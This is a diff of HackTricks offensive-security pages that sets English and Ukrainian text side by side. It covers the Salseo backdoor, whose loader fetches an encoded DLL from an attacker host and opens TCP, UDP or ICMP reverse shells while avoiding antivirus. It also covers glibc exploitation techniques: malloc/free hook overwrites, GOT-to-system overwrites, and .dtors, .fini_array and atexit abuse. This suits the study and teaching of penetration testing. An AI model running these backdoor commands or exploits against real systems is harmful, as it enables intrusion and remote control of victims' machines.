EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Добре, тепер у вас є все необхідне для виконання всіх Salseo дій: **закодований EvilDalsa.dll** та **бінарний файл SalseoLoader.**
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
**Завантажте бінарний файл SalseoLoader.exe на машину. Вони не повинні бути виявлені жодним AV...**
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
## **Виконання бекдору**
## **Execute the backdoor**
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
### **Отримання TCP зворотного шеллу (завантаження закодованого dll через HTTP)**
Не забудьте запустити nc як прослуховувач зворотного шеллу та HTTP сервер для обслуговування закодованого evilsalsa.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Отримання UDP зворотного шеллу (завантаження закодованого dll через SMB)**
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
Не забудьте запустити nc як прослуховувач зворотного шеллу та SMB сервер для надання закодованого evilsalsa (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Отримання ICMP зворотного шелу (закодована dll вже всередині жертви)**
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disable ICMP Replies:**
**Цього разу вам потрібен спеціальний інструмент на клієнті для отримання зворотного шелу. Завантажте:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Вимкнути ICMP відповіді:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Execute the client:
#### Виконати клієнта:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
#### Inside the victim, lets execute the salseo thing:
#### Всередині жертви, давайте виконаємо salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Компіляція SalseoLoader як DLL, що експортує основну функцію
## Compiling SalseoLoader as DLL exporting main function
Відкрийте проект SalseoLoader за допомогою Visual Studio.
Open the SalseoLoader project using Visual Studio.
### Add before the main function: \[DllExport]
### Додайте перед основною функцією: \[DllExport]
![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Install DllExport for this project
### Встановіть DllExport для цього проекту
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
#### **Інструменти** --> **Менеджер пакетів NuGet** --> **Керувати пакетами NuGet для рішення...**
![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
#### **Шукайте пакет DllExport (використовуючи вкладку Перегляд), і натисніть Встановити (і прийміть спливаюче вікно)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat**
У вашій папці проекту з'явилися файли: **DllExport.bat** та **DllExport_Configure.bat**
### **U**ninstall DllExport
### **В**идалити DllExport
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
Натисніть **Видалити** (так, це дивно, але повірте, це необхідно)
![](<../images/image (5) (1) (1) (2) (1).png>)
### **Exit Visual Studio and execute DllExport_configure**
### **Вийдіть з Visual Studio та виконайте DllExport_configure**
Just **exit** Visual Studio
Просто **вийдіть** з Visual Studio
Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat**
Потім перейдіть до вашої **папки SalseoLoader** і **виконайте DllExport_Configure.bat**
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
Виберіть **x64** (якщо ви збираєтеся використовувати його всередині x64 системи, це був мій випадок), виберіть **System.Runtime.InteropServices** (всередині **Namespace for DllExport**) і натисніть **Застосувати**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Open the project again with visual Studio**
### **Відкрийте проект знову у Visual Studio**
**\[DllExport]** should not be longer marked as error
**\[DllExport]** більше не повинно позначатися як помилка
![](<../images/image (8) (1).png>)
### Build the solution
### Зберіть рішення
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
Виберіть **Тип виходу = Бібліотека класів** (Проект --> Властивості SalseoLoader --> Застосування --> Тип виходу = Бібліотека класів)
![](<../images/image (10) (1).png>)
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
Виберіть **платформу x64** (Проект --> Властивості SalseoLoader --> Збірка --> Цільова платформа = x64)
![](<../images/image (9) (1) (1).png>)
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
Щоб **зібрати** рішення: Збірка --> Зібрати рішення (в консолі виходу з'явиться шлях до нової DLL)
### Test the generated Dll
### Тестуйте згенеровану DLL
Copy and paste the Dll where you want to test it.
Execute:
Скопіюйте та вставте DLL туди, де ви хочете її протестувати.
Виконайте:
```
rundll32.exe SalseoLoader.dll,main
```
Якщо помилка не з'являється, ймовірно, у вас є функціональний DLL!!
If no error appears, probably you have a functional DLL!!
## Отримати оболонку, використовуючи DLL
## Get a shell using the DLL
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
Не забудьте використовувати **HTTP** **сервер** і налаштувати **nc** **слухача**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
@ -163,9 +146,7 @@ $env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -174,5 +155,4 @@ set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
> [!TIP]
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
> <summary>Підтримайте HackTricks</summary>
>
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>

View File

@ -1,3 +1 @@
# Arbitrary Write 2 Exec
# Довільний запис 2 виконання

View File

@ -4,34 +4,32 @@
## **Malloc Hook**
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
Як ви можете побачити на [Офіційному сайті GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), змінна **`__malloc_hook`** є вказівником, що вказує на **адресу функції, яка буде викликана** щоразу, коли викликається `malloc()`, **збережену в секції даних бібліотеки libc**. Тому, якщо ця адреса буде перезаписана, наприклад, **One Gadget**, і буде викликано `malloc`, то **буде викликано One Gadget**.
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
Щоб викликати malloc, можна дочекатися, поки програма викличе його, або **викликавши `printf("%10000$c")`**, що виділяє занадто багато байтів, змушуючи `libc` викликати malloc для їх виділення в купі.
More info about One Gadget in:
Більше інформації про One Gadget у:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
> Зверніть увагу, що хуки **вимкнені для GLIBC >= 2.34**. Є інші техніки, які можна використовувати в сучасних версіях GLIBC. Дивіться: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
Це було зловжито в одному з прикладів на сторінці, зловживаючи атакою швидкого біну після зловживання атакою незасортованого біну:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
Можна знайти адресу `__free_hook`, якщо бінарний файл має символи, за допомогою наступної команди:
```bash
gef➤ p &__free_hook
```
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
[У пості](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) ви знайдете покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 &#x3C;free>: push ebx
@ -45,26 +43,26 @@ gef➤ p &__free_hook
0xf75deddd &#x3C;free+29>: jne 0xf75dee50 &#x3C;free+144>
</code></pre>
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
У вказаній точці зупинки в попередньому коді в `$eax` буде знаходитися адреса free hook.
Now a **fast bin attack** is performed:
Тепер виконується **атака на швидкий бін**:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- По-перше, виявлено, що можливо працювати з швидкими **частинами розміру 200** в місці **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Якщо нам вдасться отримати швидку частину розміру 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана
- Для цього створюється нова частина розміру `0xfc`, і об'єднана функція викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнену частину розміру `0xfc*2 = 0x1f8` у швидкому біні.
- Потім викликається функція редагування в цій частині, щоб змінити адресу **`fd`** цього швидкого біна, щоб вказати на попередню функцію **`__free_hook`**.
- Потім створюється частина розміру `0x1f8`, щоб отримати з швидкого біна попередню непотрібну частину, тому створюється ще одна частина розміру `0x1f8`, щоб отримати швидку частину в **`__free_hook`**, яка перезаписується адресою функції **`system`**.
- І нарешті, частина, що містить рядок `/bin/sh\x00`, звільняється, викликаючи функцію видалення, що викликає функцію **`__free_hook`**, яка вказує на system з `/bin/sh\x00` як параметром.
## References
## Посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

View File

@ -2,86 +2,86 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Основна інформація**
### **GOT: Global Offset Table**
### **GOT: Глобальна таблиця зсувів**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
**Глобальна таблиця зсувів (GOT)** - це механізм, що використовується в динамічно зв'язаних бінарних файлах для управління **адресами зовнішніх функцій**. Оскільки ці **адреси не відомі до часу виконання** (через динамічне зв'язування), GOT надає спосіб **динамічно оновлювати адреси цих зовнішніх символів** після їх розв'язання.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
Кожен запис у GOT відповідає символу у зовнішніх бібліотеках, які може викликати бінарний файл. Коли **функція викликається вперше, її фактична адреса розв'язується динамічним зв'язувачем і зберігається в GOT**. Наступні виклики тієї ж функції використовують адресу, збережену в GOT, таким чином уникаючи накладних витрат на повторне розв'язання адреси.
### **PLT: Procedure Linkage Table**
### **PLT: Таблиця зв'язування процедур**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
**Таблиця зв'язування процедур (PLT)** тісно співпрацює з GOT і служить як трамплін для обробки викликів до зовнішніх функцій. Коли бінарний файл **викликає зовнішню функцію вперше, управління передається до запису в PLT, пов'язаного з цією функцією**. Цей запис PLT відповідає за виклик динамічного зв'язувача для розв'язання адреси функції, якщо вона ще не була розв'язана. Після розв'язання адреси вона зберігається в **GOT**.
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
**Отже,** записи GOT використовуються безпосередньо після того, як адреса зовнішньої функції або змінної розв'язана. **Записи PLT використовуються для полегшення початкового розв'язання** цих адрес через динамічний зв'язувач.
## Get Execution
## Отримання виконання
### Check the GOT
### Перевірка GOT
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
Отримайте адресу таблиці GOT за допомогою: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
Спостерігайте, як після **завантаження** **виконуваного файлу** в GEF ви можете **бачити** **функції**, які є в **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
Використовуючи GEF, ви можете **почати** сесію **відлагодження** і виконати **`got`**, щоб побачити таблицю got:
![](<../../images/image (496).png>)
### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
У бінарному файлі GOT має **адреси до функцій або** до **сектора PLT**, який завантажить адресу функції. Мета цього довільного запису - **перезаписати запис GOT** функції, яка буде виконана пізніше **з** **адресою** PLT функції **`system`** наприклад.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
Ідеально, ви будете **перезаписувати** **GOT** функції, яка **буде викликана з параметрами, контрольованими вами** (так що ви зможете контролювати параметри, надіслані до функції системи).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
Якщо **`system`** **не використовується** бінарним файлом, функція системи **не матиме** запису в PLT. У цьому сценарії вам **потрібно спочатку витікати адресу** функції `system`, а потім перезаписати GOT, щоб вказати на цю адресу.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
Ви можете побачити адреси PLT за допомогою **`objdump -j .plt -d ./vuln_binary`**
## libc GOT entries
## Записи GOT libc
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
**GOT libc** зазвичай компілюється з **частковим RELRO**, що робить його гарною мішенню для цього, якщо можливо з'ясувати його адресу ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
Звичайні функції libc будуть викликати **інші внутрішні функції**, адреси GOT яких можуть бути перезаписані для отримання виконання коду.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
Знайдіть [**більше інформації про цю техніку тут**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
У експлуатації купи CTF часто можна контролювати вміст частин і в якийсь момент навіть перезаписати таблицю GOT. Простий трюк для отримання RCE, якщо один гаджет недоступний, - це перезаписати адресу GOT `free`, щоб вказати на `system` і записати в частину `"/bin/sh"`. Таким чином, коли ця частина буде звільнена, вона виконає `system("/bin/sh")`.
### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
Ще одна поширена техніка - це перезаписати адресу GOT **`strlen`**, щоб вказати на **`system`**, так що якщо ця функція викликається з введенням користувача, можливо передати рядок `"/bin/sh"` і отримати оболонку.
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
Більше того, якщо `puts` використовується з введенням користувача, можливо перезаписати адресу GOT `strlen`, щоб вказати на `system` і передати рядок `"/bin/sh"`, щоб отримати оболонку, оскільки **`puts` викликатиме `strlen` з введенням користувача**.
## **One Gadget**
## **Один гаджет**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusing GOT from Heap**
## **Зловживання GOT з купи**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
Звичайний спосіб отримати RCE з вразливості купи - це зловживати fastbin, щоб можна було додати частину таблиці GOT у швидкий бін, так що щоразу, коли ця частина виділяється, буде можливість **перезаписати вказівник функції, зазвичай `free`**.\
Потім, вказуючи `free` на `system` і звільняючи частину, де було записано `/bin/sh\x00`, буде виконано оболонку.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
Можна знайти [**приклад тут**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protections**
## **Захисти**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
Захист **Full RELRO** призначений для захисту від такого роду технік, розв'язуючи всі адреси функцій, коли бінарний файл запускається, і роблячи таблицю **GOT** тільки для читання після цього:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## References
## Посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!**
> Сьогодні дуже **незвично знайти бінарний файл з секцією .dtors!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
Get the address of this section with:
Деструктори - це функції, які **виконуються перед завершенням програми** (після повернення функції `main`).\
Адреси цих функцій зберігаються в секції **`.dtors`** бінарного файлу, і тому, якщо вам вдасться **записати** **адресу** в **shellcode** в **`__DTOR_END__`**, це буде **виконано** перед завершенням програми.
Отримайте адресу цієї секції за допомогою:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
Зазвичай ви знайдете маркери **DTOR** **між** значеннями `ffffffff` та `00000000`. Тож, якщо ви просто бачите ці значення, це означає, що **функція не зареєстрована**. Тож **перезапишіть** **`00000000`** адресою до **shellcode**, щоб виконати його.
> [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
> Звичайно, спочатку вам потрібно знайти **місце для зберігання shellcode**, щоб пізніше викликати його.
## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
По суті, це структура з **функціями, які будуть викликані** перед завершенням програми, як **`.dtors`**. Це цікаво, якщо ви можете викликати свій **shellcode, просто стрибнувши до адреси**, або в випадках, коли вам потрібно знову **повернутися до `main`**, щоб **використати вразливість вдруге**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
8049934 a0850408
#Put your address in 0x8049934
```
Зверніть увагу, що коли функція з **`.fini_array`** виконується, вона переходить до наступної, тому вона не буде виконуватися кілька разів (запобігаючи вічним циклам), але також вона надасть лише 1 **виконання функції**, розміщеної тут.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
Зверніть увагу, що записи в **`.fini_array`** викликаються в **оберненому** порядку, тому вам, ймовірно, слід почати записувати з останнього.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
#### Вічний цикл
#### Eternal loop
Щоб зловживати **`.fini_array`** для отримання вічного циклу, ви можете [**перевірити, що було зроблено тут**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Якщо у вас є принаймні 2 записи в **`.fini_array`**, ви можете:
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
- Використати ваше перше записування, щоб знову **викликати вразливу функцію довільного запису**
- Потім обчислити адресу повернення в стеку, збережену **`__libc_csu_fini`** (функція, яка викликає всі функції з **`.fini_array`**) і помістити туди **адресу `__libc_csu_fini`**
- Це змусить **`__libc_csu_fini`** знову викликати себе, виконуючи функції **`.fini_array`** знову, що викличе вразливу WWW функцію 2 рази: один раз для **довільного запису** і ще один раз, щоб знову перезаписати **адресу повернення `__libc_csu_fini`** в стеку, щоб знову викликати себе.
> [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
> Зверніть увагу, що з [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** секція **`.fini_array`** стає **тільки для читання**.
> У новіших версіях, навіть з [**Partial RELRO**], секція **`.fini_array`** також стає **тільки для читання**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
# WWW2Exec - atexit(), TLS Storage & Інші спотворені вказівники
{{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures**
> [!CAUTION]
> Nowadays is very **weird to exploit this!**
> Сьогодні дуже **незвично експлуатувати це!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
**`atexit()`** - це функція, до якої **передаються інші функції як параметри.** Ці **функції** будуть **виконані** під час виконання **`exit()`** або **повернення** з **main**.\
Якщо ви можете **модифікувати** **адресу** будь-якої з цих **функцій**, щоб вказати на shellcode, наприклад, ви **отримаєте контроль** над **процесом**, але це наразі складніше.\
В даний час **адреси функцій**, які потрібно виконати, **сховані** за кількома структурами, і врешті-решт адреса, на яку вони вказують, не є адресами функцій, а **зашифрована за допомогою XOR** та зміщень з **випадковим ключем**. Тому наразі цей вектор атаки **не дуже корисний, принаймні на x86** та **x64_86**.\
**Функція шифрування** - це **`PTR_MANGLE`**. **Інші архітектури**, такі як m68k, mips32, mips64, aarch64, arm, hppa... **не реалізують функцію шифрування**, оскільки вона **повертає те ж саме**, що отримала на вхід. Тому ці архітектури можуть бути атаковані за допомогою цього вектора.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
